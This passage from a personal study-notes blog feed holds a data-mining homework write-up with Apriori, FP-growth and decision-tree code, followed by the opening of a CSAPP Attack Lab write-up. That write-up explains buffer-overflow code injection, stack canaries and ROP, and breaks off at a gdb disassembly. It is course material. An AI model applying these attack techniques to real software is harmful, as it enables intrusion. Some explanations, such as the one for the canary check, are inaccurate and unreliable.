&lt;p&gt;如：发布订阅模式，新的订阅者出现后，发布者不需要修改任何代码&lt;/p&gt;
&lt;h4 id=&#34;依赖倒置原则&#34;&gt;依赖倒置原则&lt;/h4&gt;
&lt;p&gt;面向接口编程而不是面向实现编程&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>商务智能课堂笔记</title>
      <link>https://weivwang.github.io/studynotes/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E8%AF%BE%E5%A0%82%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Thu, 18 Nov 2021 10:13:02 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E8%AF%BE%E5%A0%82%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;商务智能课堂笔记，对这一部分比较感兴趣。&lt;/p&gt;
&lt;p&gt;看PDF应该是老师和百度有合作，内容都是PaddlePaddle提供的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/18/slkGtz6MLpEnFoW.png&#34; alt=&#34;image-20211118101711178&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/18/g6NcMXWOvnlwtbE.png&#34; alt=&#34;image-20211118101602534&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/18/yoAmtRuePxgc7h5.png&#34; alt=&#34;image-20211118102252963&#34;&gt;&lt;/p&gt;
&lt;p&gt;作业 记录&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*请说明描述性分析、 预测性分析、 规范性分析的含义，并采用一个综合例子说明这三种分析的应用。（*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*12*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*分）*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;描述性分析：描述已经发生了什么。它是对历史的洞察，即回答“发生了什么？”。描述性分析使用简单的数学和统计方法就能实现，典型的分析指标例如计数、均值、中位数、众数、方差、分布、相关系数等。&lt;/p&gt;
&lt;p&gt;预测性分析：预测将会发生什么。预测性分析大多是基于概率的，即预测事件在未来发生的概率，或者事件在大概率上会如何发生。在预测性分析中，使用了多种技术，例如数据挖掘，统计建模和机器学习算法（分类，回归和聚类技术）等等，它最终的目的是试图预测可能的未来结果并提供这些结果发生的可能性。&lt;/p&gt;
&lt;p&gt;规范性分析：提供应该怎么办的建议。规范性分析吸收描述性分析与预测性分析中的结论，通过为企业推荐最佳的可行方案来得到行动建议&lt;/p&gt;
&lt;p&gt;例子：比如一家短视频公司需要分析用户的视频喜好，从未为用户推荐更多他们喜爱的短视频类型。&lt;/p&gt;
&lt;p&gt;使用描述性分析，分析用户在平台上观看短视频的数据，计算方差，均值，还有一些相关系数：年龄和视频类型的相关系数，性别和视频类型的相关系数等。&lt;/p&gt;
&lt;p&gt;使用预测性分析：将拿到的数据进行分类，回归，聚类等其他机器学习算法，或者将数据投喂给深度学习模型，从而实现预测，比如拿到用户的性别年龄，过往喜好来预测用户对哪些短视频更有兴趣。&lt;/p&gt;
&lt;p&gt;使用规范性分析：根据用户的这种偏好，平台怎么调整自己的策略来让用户对产品的粘性更高。比如把更多用户偏好的短视频推荐给他们，把与之相关的广告更精准推荐给他们。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*请描述数据挖掘的步骤，请简述每个步骤的基本含义。（*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*10*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*分）*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;步骤（1）&lt;em&gt;&lt;strong&gt;*信息收集*&lt;/strong&gt;&lt;/em&gt;：根据确定的数据分析对象，抽象出在数据分析中所需要的特征信息，然后选择合适的信息收集方法，将收集到的信息存入数据库。对于海量数据，选择一个合适的数据存储和管理的数据仓库是至关重要的。&lt;/p&gt;
&lt;p&gt;步骤（2）&lt;em&gt;&lt;strong&gt;*数据集成*&lt;/strong&gt;&lt;/em&gt;：把不同来源、格式、特点性质的数据在逻辑上或物理上有机地集中，从而为企业提供全面的数据共享。&lt;/p&gt;
&lt;p&gt;步骤（3）&lt;em&gt;&lt;strong&gt;*数据规约*&lt;/strong&gt;&lt;/em&gt;：如果执行多数的数据挖掘算法，即使是在少量数据上也需要很长的时间，而做商业运营数据挖掘时数据量往往非常大。数据规约技术可以用来得到数据集的规约表示，它小得多，但仍然接近于保持原数据的完整性，并且规约后执行数据挖掘结果与规约前执行结果相同或几乎相同。&lt;/p&gt;
&lt;p&gt;步骤（4）&lt;em&gt;&lt;strong&gt;*数据清理*&lt;/strong&gt;&lt;/em&gt;：在数据库中的数据有一些是不完整的（有些感兴趣的属性缺少属性值）、含噪声的（包含错误的属性值），并且是不一致的（同样的信息不同的表示方式），因此需要进行数据清理，将完整、正确、一致的数据信息存入数据仓库中。不然，挖掘的结果会差强人意。&lt;/p&gt;
&lt;p&gt;步骤（5）&lt;em&gt;&lt;strong&gt;*数据变换*&lt;/strong&gt;&lt;/em&gt;：通过平滑聚集、数据概化、规范化等方式将数据转换成适用于数据挖掘的形式。对于有些实数型数据，通过概念分层和数据的离散化来转换数据也是重要的一步。&lt;/p&gt;
&lt;p&gt;步骤（6）&lt;em&gt;&lt;strong&gt;*数据挖掘过程*&lt;/strong&gt;&lt;/em&gt;：根据数据仓库中的数据信息，选择合适的分析工具，应用统计方法、事例推理、决策树、规则推理、模糊集，甚至神经网络、遗传算法的方法处理信息，得出有用的分析信息。&lt;/p&gt;
&lt;p&gt;步骤（7）&lt;em&gt;&lt;strong&gt;*模式评估*&lt;/strong&gt;&lt;/em&gt;：从商业角度，由行业专家来验证数据挖掘结果的正确性。&lt;/p&gt;
&lt;p&gt;步骤（8）&lt;em&gt;&lt;strong&gt;*知识表示*&lt;/strong&gt;&lt;/em&gt;：将数据挖掘所得到的分析信息以可视化的方式呈现给用户，或作为新的知识存放在知识库中，供其他应用程序使用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*请*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*编写程序实现*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*A*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*priori*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*算法*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*和*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*FP*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*-*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*G*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*rowth*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*算法，算法*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*可以根据*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*给定*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*的支持度和置信度获取所有的频繁项集*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*和*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*关联规则。*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*请自拟数据集进行测试。（2*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*5*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*分）*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Apriori算法：&lt;/p&gt;
&lt;p&gt;核心代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-

def loadDataSet():
    return [[1,3,4],[2,3,5],[1,2,3,5],[2,5]]

#发现频繁项集
def createC1(dataSet):
    C1=[]
    for transaction in dataSet:
        for item in transaction:
            if not [item] in C1:
                C1.append([item])
    C1.sort()
    return list(map(frozenset,C1))

def scanD(D,CK,minSupport):
    ssCnt = {}
    for tid in D:
        for can in CK:
            if can.issubset(tid):
                if not can in ssCnt:ssCnt[can]=1
                else:ssCnt[can]+=1
    numItems = float(len(D))
    retList = []
    supportData={}
    for key in ssCnt:
        support = ssCnt[key]/numItems
        if support&amp;gt;=minSupport:
            retList.insert(0,key)
        supportData[key]=support
    return retList,supportData

#频繁项集两两组合
def aprioriGen(Lk,k):
    retList=[]
    lenLk = len(Lk)
    for i in range(lenLk):
        for j in range(i+1,lenLk):
            L1=list(Lk[i])[:k-2];L2=list(Lk[j])[:k-2]
            L1.sort();L2.sort()
            if L1==L2:
                retList.append(Lk[i]|Lk[j])
    return retList

# 最小支持度域值设置为0.5
def apriori(dataSet,minSupport=0.7):
    C1=createC1(dataSet)
    D=list(map(set,dataSet))
    L1,supportData =scanD(D,C1,minSupport)
    L=[L1]
    k=2
    while(len(L[k-2])&amp;gt;0):
        CK = aprioriGen(L[k-2],k)
        Lk,supK = scanD(D,CK,minSupport)
        supportData.update(supK)
        L.append(Lk)
        k+=1
    return L,supportData

# 找关联规则
# 规则计算的主函数
def generateRules(L,supportData,minConf=0.5):
    bigRuleList = []
    for i in range(1,len(L)):
        for freqSet in L[i]:
            H1 = [frozenset([item]) for item in freqSet]
            if(i&amp;gt;1):
                rulesFromConseq(freqSet,H1,supportData,bigRuleList,minConf)
            else:
                calcConf(freqSet,H1,supportData,bigRuleList,minConf)
    return bigRuleList


def calcConf(freqSet,H,supportData,brl,minConf=0.5):
    prunedH=[]
    for conseq in H:
        conf = supportData[freqSet]/supportData[freqSet-conseq]
        if conf&amp;gt;=minConf:
            print (freqSet-conseq,&#39;---&amp;gt;&#39;,conseq,&#39;conf:&#39;,conf)
            brl.append((freqSet-conseq,conseq,conf))
            prunedH.append(conseq)
    return prunedH
def rulesFromConseq(freqSet,H,supportData,brl,minConf=0.7):
    m = len(H[0])
    if (len(freqSet)&amp;gt;(m+1)):
        Hmp1 = aprioriGen(H,m+1)
        Hmp1 = calcConf(freqSet,Hmp1,supportData,brl,minConf)
        if(len(Hmp1)&amp;gt;1):
            rulesFromConseq(freqSet,Hmp1,supportData,brl,minConf)


if __name__==&#39;__main__&#39;:
    dataSet=loadDataSet()
    L,supportData=apriori(dataSet)
    rules = generateRules(L,supportData,minConf=0.5)

&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;拟定数据：&lt;/p&gt;
&lt;p&gt;[1,3,4],[2,3,5],[1,2,3,5],[2,5]&lt;/p&gt;
&lt;p&gt;最小支持度设置为0.5，最小置信度设置为0.7时，测试结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://s2.loli.net/2021/12/10/g5TCOWLFoVqEjPS.jpg&#34; alt=&#34;img&#34;&gt;&lt;/p&gt;
&lt;p&gt;修改最小支持度和最小置信度，分别修改为0.7和0.5，测试结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://s2.loli.net/2021/12/10/BaLWXitCnlqEr75.jpg&#34; alt=&#34;img&#34;&gt;&lt;/p&gt;
&lt;p&gt;Fp-growth算法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def loadSimpDat():
    simpDat = [[&#39;r&#39;, &#39;z&#39;, &#39;h&#39;, &#39;j&#39;, &#39;p&#39;],
               [&#39;z&#39;, &#39;y&#39;, &#39;x&#39;, &#39;w&#39;, &#39;v&#39;, &#39;u&#39;, &#39;t&#39;, &#39;s&#39;],
               [&#39;z&#39;,&#39;p&#39;,&#39;x&#39;],
               [&#39;r&#39;, &#39;x&#39;, &#39;n&#39;, &#39;o&#39;, &#39;s&#39;],
               [&#39;y&#39;, &#39;r&#39;, &#39;x&#39;, &#39;z&#39;, &#39;q&#39;, &#39;t&#39;, &#39;p&#39;],
               [&#39;y&#39;, &#39;z&#39;, &#39;x&#39;, &#39;e&#39;, &#39;q&#39;, &#39;s&#39;, &#39;t&#39;, &#39;m&#39;]]
    return simpDat
    
class treeNode:
    def __init__(self, nameValue, numOccur, parentNode):
        self.name = nameValue
        self.count = numOccur
        self.nodeLink = None
        self.parent = parentNode      #needs to be updated
        self.children = {}
   
    def inc(self, numOccur):
        self.count += numOccur
       
    def disp(self, ind=1):
        print ((&#39;  &#39;*ind, self.name, &#39; &#39;, self.count))
        for child in self.children.values():
            child.disp(ind+1)
        
def createTree(dataSet, minSup=1): #create FP-tree from dataset but don&#39;t mine
    headerTable = {}
    #go over dataSet twice
    for trans in dataSet:#first pass counts frequency of occurance
        for item in trans:
            headerTable[item] = headerTable.get(item, 0) + dataSet[trans]
           
    for k in list(headerTable.keys()):  #remove items not meeting minSup
        if headerTable[k] &amp;lt; minSup:
            headerTable.pop(k)
    freqItemSet = set(headerTable.keys())
   
    #print &#39;freqItemSet: &#39;,freqItemSet
    if len(freqItemSet) == 0: return None, None  #if no items meet min support --&amp;gt;get out
    for k in headerTable:
        headerTable[k] = [headerTable[k], None] #reformat headerTable to use Node link
    #print &#39;headerTable: &#39;,headerTable
    retTree = treeNode(&#39;Null Set&#39;, 1, None) #create tree
    for tranSet, count in dataSet.items():  #go through dataset 2nd time
        localD = {}
        for item in tranSet:  #put transaction items in order
            if item in freqItemSet:
                localD[item] = headerTable[item][0]
        if len(localD) &amp;gt; 0:
            orderedItems = [v[0] for v in sorted(localD.items(), key=lambda p: p[1], reverse=True)]
            updateTree(orderedItems, retTree, headerTable, count)#populate tree with ordered freq itemset
    return retTree, headerTable #return tree and header table
    
def updateTree(items, inTree, headerTable, count):
    if items[0] in inTree.children:#check if orderedItems[0] in retTree.children
        inTree.children[items[0]].inc(count) #incrament count
    else:   #add items[0] to inTree.children
        inTree.children[items[0]] = treeNode(items[0], count, inTree)
        if headerTable[items[0]][1] == None: #update header table
            headerTable[items[0]][1] = inTree.children[items[0]]
        else:
            updateHeader(headerTable[items[0]][1], inTree.children[items[0]])
    if len(items) &amp;gt; 1:#call updateTree() with remaining ordered items
        updateTree(items[1::], inTree.children[items[0]], headerTable, count)
       
def updateHeader(nodeToTest, targetNode):   #this version does not use recursion
    while (nodeToTest.nodeLink != None):    #Do not use recursion to traverse a linked list!
        nodeToTest = nodeToTest.nodeLink
    nodeToTest.nodeLink = targetNode
       
def ascendTree(leafNode, prefixPath): #ascends from leaf node to root
    if leafNode.parent != None:
        prefixPath.append(leafNode.name)
        ascendTree(leafNode.parent, prefixPath)
   
def findPrefixPath(basePat, treeNode): #treeNode comes from header table
    condPats = {}
    while treeNode != None:
        prefixPath = []
        ascendTree(treeNode, prefixPath)
        if len(prefixPath) &amp;gt; 1:
            condPats[frozenset(prefixPath[1:])] = treeNode.count
        treeNode = treeNode.nodeLink
    return condPats
    
def mineTree(inTree, headerTable, minSup, preFix, freqItemList):
    bigL = [k for k,v in sorted(headerTable.items(), key=lambda p: p[1][0])]#(sort header table)
    for basePat in bigL:  #start from bottom of header table
        newFreqSet = preFix.copy()
        newFreqSet.add(basePat)
        #print &#39;finalFrequent Item: &#39;,newFreqSet    #append to set
        freqItemList.append(newFreqSet)
        condPattBases = findPrefixPath(basePat, headerTable[basePat][1])
        #print &#39;condPattBases :&#39;,basePat, condPattBases
        #2. construct cond FP-tree from cond. pattern base
        myCondTree, myHead = createTree(condPattBases, minSup)
        #print &#39;head from conditional tree: &#39;, myHead
        if myHead != None: #3. mine cond. FP-tree
            #print &#39;conditional tree for: &#39;,newFreqSet
            #myCondTree.disp(1)           
            mineTree(myCondTree, myHead, minSup, newFreqSet, freqItemList)

def createInitSet(dataSet):
    retDict = {}
    for trans in dataSet:
        retDict[frozenset(trans)] = 1
    return retDict


minSup = 4
simpDat = loadSimpDat()
initSet = createInitSet(simpDat)
myFPtree, myHeaderTab = createTree(initSet, minSup)
myFreqList = []
if myFPtree is not None:
    myFPtree.disp()
    mineTree(myFPtree, myHeaderTab, minSup, set([]), myFreqList)
print(&amp;quot;支持度为%d时，频繁项数为%d:&amp;quot;%(minSup, len(myFreqList)))
print(&amp;quot;频繁项集为:&amp;quot;)
for item in myFreqList:
    print(item)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;测试数据：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://s2.loli.net/2021/12/10/cw2i874amMrEHsl.jpg&#34; alt=&#34;img&#34;&gt;&lt;/p&gt;
&lt;p&gt;测试结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://s2.loli.net/2021/12/10/BD6ziHM4KOhC8Qf.jpg&#34; alt=&#34;img&#34;&gt;&lt;/p&gt;
&lt;p&gt;代码运行环境：python3.7&lt;/p&gt;
&lt;p&gt;完整代码见 ./压缩包/代码&lt;/p&gt;
&lt;p&gt;\4. 请编写程序实现决策树算法，请自拟数据集进行测试。（20分）&lt;/p&gt;
&lt;p&gt;核心代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from math import log
def createDataSet():
    #outlook:sunny:1,overcast:2,rainy:3
    #temperature:hot:1,mild:2,cool:3
    #humidity:high:1,normal:2
    #windy:false:1,true:2
    #play:no,yes
    dataSet=[
        [1,1,1,1,&#39;no&#39;],
        [1,1,1,2,&#39;no&#39;],
        [2,1,1,1,&#39;yes&#39;],
        [3,2,1,1,&#39;yes&#39;],
        [3,3,2,1,&#39;yes&#39;],
        [3,3,2,2,&#39;no&#39;],
        [2,3,2,2,&#39;yes&#39;],
        [1,2,1,1,&#39;no&#39;],
        [1,3,2,1,&#39;yes&#39;],
        [3,2,2,1,&#39;yes&#39;],
        [1,2,2,2,&#39;yes&#39;],
        [2,2,1,2,&#39;yes&#39;],
        [2,1,2,1,&#39;yes&#39;],
        [3,2,1,2,&#39;no&#39;]
    ]
    labels=[&#39;outlook&#39;,&#39;temperature&#39;,&#39;humidity&#39;,&#39;windy&#39;,&#39;play&#39;]
    return dataSet,labels
def calcShannonEnt(dataSet):
    #返回数据集行数
    numEntries=len(dataSet)
    #保存每个标签（label）出现次数的字典
    labelCounts={}
    #对每组特征向量进行统计
    for featVec in dataSet:
        currentLabel=featVec[-1]#提取标签信息
        if currentLabel not in labelCounts.keys():#如果标签没有放入统计次数
            labelCounts[currentLabel]=0
        labelCounts[currentLabel]+=1#label计数
    shannonEnt=0.0
    #计算经验熵
    for key in labelCounts:
        prob=float(labelCounts[key])/numEntries #选择该标签的概率
        shannonEnt-=prob*log(prob,2)            #利用公式计算
    return shannonEnt
def chooseBestFeatureToSplit(dataSet):
    #特征数量
    numFeatures = len(dataSet[0]) - 1
    #计数数据集的香农熵
    baseEntropy = calcShannonEnt(dataSet)
    #信息增益
    bestInfoGain = 0.0
    #最优特征的索引值
    bestFeature = -1
    #遍历所有特征
    for i in range(numFeatures):
        # 获取dataSet的第i个所有特征
        featList = [example[i] for example in dataSet]
        #创建set集合{}，元素不可重复
        uniqueVals = set(featList)
        #经验条件熵
        newEntropy = 0.0
        #计算信息增益
        for value in uniqueVals:
            #subDataSet划分后的子集
            subDataSet = splitDataSet(dataSet, i, value)
            #计算子集的概率
            prob = len(subDataSet) / float(len(dataSet))
            #根据公式计算经验条件熵
            newEntropy += prob * calcShannonEnt((subDataSet))
        #信息增益
        infoGain = baseEntropy - newEntropy
        #打印每个特征的信息增益
        print(&amp;quot;第%d个特征的增益为%.3f&amp;quot; % (i, infoGain))
        #计算信息增益
        if (infoGain &amp;gt; bestInfoGain):
            #更新信息增益，找到最大的信息增益
            bestInfoGain = infoGain
            #记录信息增益最大的特征的索引值
            bestFeature = i
            #返回信息增益最大特征的索引值
    return bestFeature
def splitDataSet(dataSet,axis,value):
    retDataSet=[]
    for featVec in dataSet:
        if featVec[axis]==value:
            reducedFeatVec=featVec[:axis]
            reducedFeatVec.extend(featVec[axis+1:])
            retDataSet.append(reducedFeatVec)
    return retDataSet
if __name__==&#39;__main__&#39;:
    dataSet,features=createDataSet()
    print(dataSet)
    print(calcShannonEnt(dataSet))
    print(&amp;quot;最优索引值：&amp;quot;+str(chooseBestFeatureToSplit(dataSet)))
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;测试结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://s2.loli.net/2021/12/10/2EMmlRZycCXTK9L.jpg&#34; alt=&#34;img&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*请分析k*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*-means*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*算法和k中心点算法的异同。（*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*8*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*分）*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;相同之处：&lt;/p&gt;
&lt;p&gt;在第一步：选择k个随机的点作为初始的种子点和第二步：针对每个簇中,随机在选一个点为新的种子点构建新的划分，k-means算法和k中心点算法没有区别，是相同的。&lt;/p&gt;
&lt;p&gt;第五步两者都是重复计算E的值直到没有能够使得E值更小的划分为止。&lt;/p&gt;
&lt;p&gt;不同之处：&lt;/p&gt;
&lt;p&gt;在第三步，k-means对簇中的点求均值，均值可能并不存在于簇中，k中心点算法采用的是在簇中随机的点作为新种子，再构建新的划分，新种子一点是真实存在簇中。&lt;/p&gt;
&lt;p&gt;第四步：计算距离时公式不同：k-中心点中的dist(p,ci)没有平方。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6.&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*请使用单连接算法描述下列数据是如何进行层次聚类的并画出树状图。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;（10， 8） （70，80） （99，87） （6，5） （5，10） （16分）&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://s2.loli.net/2021/12/10/s4ZxUkwYCpFH6MI.png&#34; alt=&#34;image-20211210090953323&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://s2.loli.net/2021/12/10/whDcVrFRks6XvK2.png&#34; alt=&#34;image-20211210091036062&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7.&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;*请描述深度学习中前向传递、后项传递和梯度下降含义和作用。（*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*9*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*分）*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;前向传播 (Forward propagation)，指的是：数据从输入层开始，依次经过隐藏层（如果有）最终到达输出层的过程。其中，数据每经过一层传播，其节点输出的值所代表的信息层次就越高阶和概括。节点中输出的值是通过与其相连的前一层中所有的节点输出值的加权求和处理后的结果。&lt;/p&gt;
&lt;p&gt;反向传播是计算损失函数对神经网络这个函数中的不同层中参数的偏导数的过程。就是对前向传播产生的结果进行纠正，并把权重参数等进行更新。&lt;/p&gt;
&lt;p&gt;梯度下降就是寻找优化参数的方向，对得到的偏差，往哪个方向对参数进行优化。它利用&lt;a href=&#34;https://www.zhihu.com/search?q=%E6%A2%AF%E5%BA%A6%E4%BF%A1%E6%81%AF&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B:,:113714840%7D&#34;&gt;梯度信息&lt;/a&gt;，通过不断迭代调整参数来寻找合适的目标值&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CSAPP_AttackLab</title>
      <link>https://weivwang.github.io/studynotes/csapp_attacklab/</link>
      <pubDate>Mon, 15 Nov 2021 14:39:54 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/csapp_attacklab/</guid>
      <description>&lt;p&gt;CSAPP_Attack&lt;/p&gt;
&lt;p&gt;要求进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP)&lt;/p&gt;
&lt;p&gt;参考资料：&lt;!-- raw HTML omitted --&gt;写的比较好的一个教程&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;h3 id=&#34;前置知识&#34;&gt;前置知识&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Code Injection&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;通过使缓冲区溢出，注入攻击代码。这种情况是没有开启栈随机化（每一次执行，反汇编某个函数，会发现汇编代码的地址是固定的），同时没有开金丝雀防止栈溢出，反汇编也可以看到，没有%fs:40 之类的指令，而在bomblab里面读汇编代码会发现每一个函数都有金丝雀（也解决了当时做那一个实验的疑惑），如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    141f:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    1426:       00 00
    1428:       48 89 44 24 08          mov    %rax,0x8(%rsp)
    142d:       31 c0                   xor    %eax,%eax
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这里的fs是段基址，csapp教材上有讲，但是没细说。看王爽的《汇编语言》讲了这个概念，一般在8086机上会使用段偏移这种寻址方式，大致是：地址线有20位，但是寄存器只有16位，所以采用16bit段地址+4bit偏移量来进行寻址：物理地址 = 段地址*16 + 偏移地址。&lt;/p&gt;
&lt;p&gt;另一个弄懂的地方是：实际上内存大小是局限于地址总线的宽度的。因为地址总线的宽度代表了寻址的能力，而内存大小超过这个寻址范围，多出去的内存没用了，因为找不到。&lt;/p&gt;
&lt;p&gt;但是现在的x86-64的寻址能力理论上能达到1800万TB，而实际上目前做不出来这么大的内存，所以现在可以认为内存可以往高了加。&lt;/p&gt;
&lt;p&gt;扯开了，接着看上面的指令，先将段偏移赋给rax，接着通过rax定位rsp，这其实已经固定好了缓冲区的大小，最后一个xor异或指令意义在于：一旦用户输入数据溢出缓冲区，覆盖了金丝雀数，前后金丝雀数异或结果一定为1，设置某个标志位为1之后程序退出，这样就防止了缓冲区溢出的问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ROP&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;return-oriented programming
ROP即使用你程序里的字节代码攻击你的程序。&lt;/p&gt;
&lt;p&gt;就是在开启栈空间随机化之后，每次初始化栈，栈里面放的是allocate函数，分配随机大小空间，实际的调用栈帧在这个随机空间之后，这样就实现了栈空间的随机化，那黑客拿不到这个栈地址，自然无法直接inject程序。&lt;/p&gt;
&lt;p&gt;但是也有方法：有些黑客用nop指令，nop将rip+4或+8， 不执行操作，这样总有一次能找到目标程序。但是现在随机的空间范围太大了，也不用这种方法了。&lt;/p&gt;
&lt;p&gt;另一种：用程序里面的代码攻击程序，这样就不用注入代码了，我用你程序本来的代码来当作我的指令，实现攻击。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Objdump&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GCC&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GDB&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这几个也都是bomblab要用的&lt;/p&gt;
&lt;h3 id=&#34;实验材料&#34;&gt;实验材料&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/17/KhJyFQzwINZgpe3.png&#34; alt=&#34;image-20211117171611619&#34;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;cookie：存放通过关卡需要的字符串&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ctarget：使用code injection方式进行攻击的程序&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Farm.c：感觉没什么用，已经被编译进rtarget里面了&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hex2raw ：16进制转字符串&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Readme：学号等信息&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;rtarget：使用ROP方式进行攻击&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/17/dt9kUxI4rBf5TqM.png&#34; alt=&#34;image-20211117173053423&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/17/fs2FWva8PDBYwjg.png&#34; alt=&#34;image-20211117173106212&#34;&gt;&lt;/p&gt;
&lt;p&gt;Gets()是不安全的，没有限制读入的长度，容易导致缓冲区溢出&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/17/wbhmruZO4e6F5Nf.png&#34; alt=&#34;image-20211117173229239&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;touch1&#34;&gt;touch1&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;gdb ctarget
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;disas getbuf
#输出：
Dump of assembler code for function getbuf:
   0x0000000000401796 &amp;lt;+0&amp;gt;:	sub    $0x38,%rsp
   0x000000000040179a &amp;lt;+4&amp;gt;:	mov    %rsp,%rdi
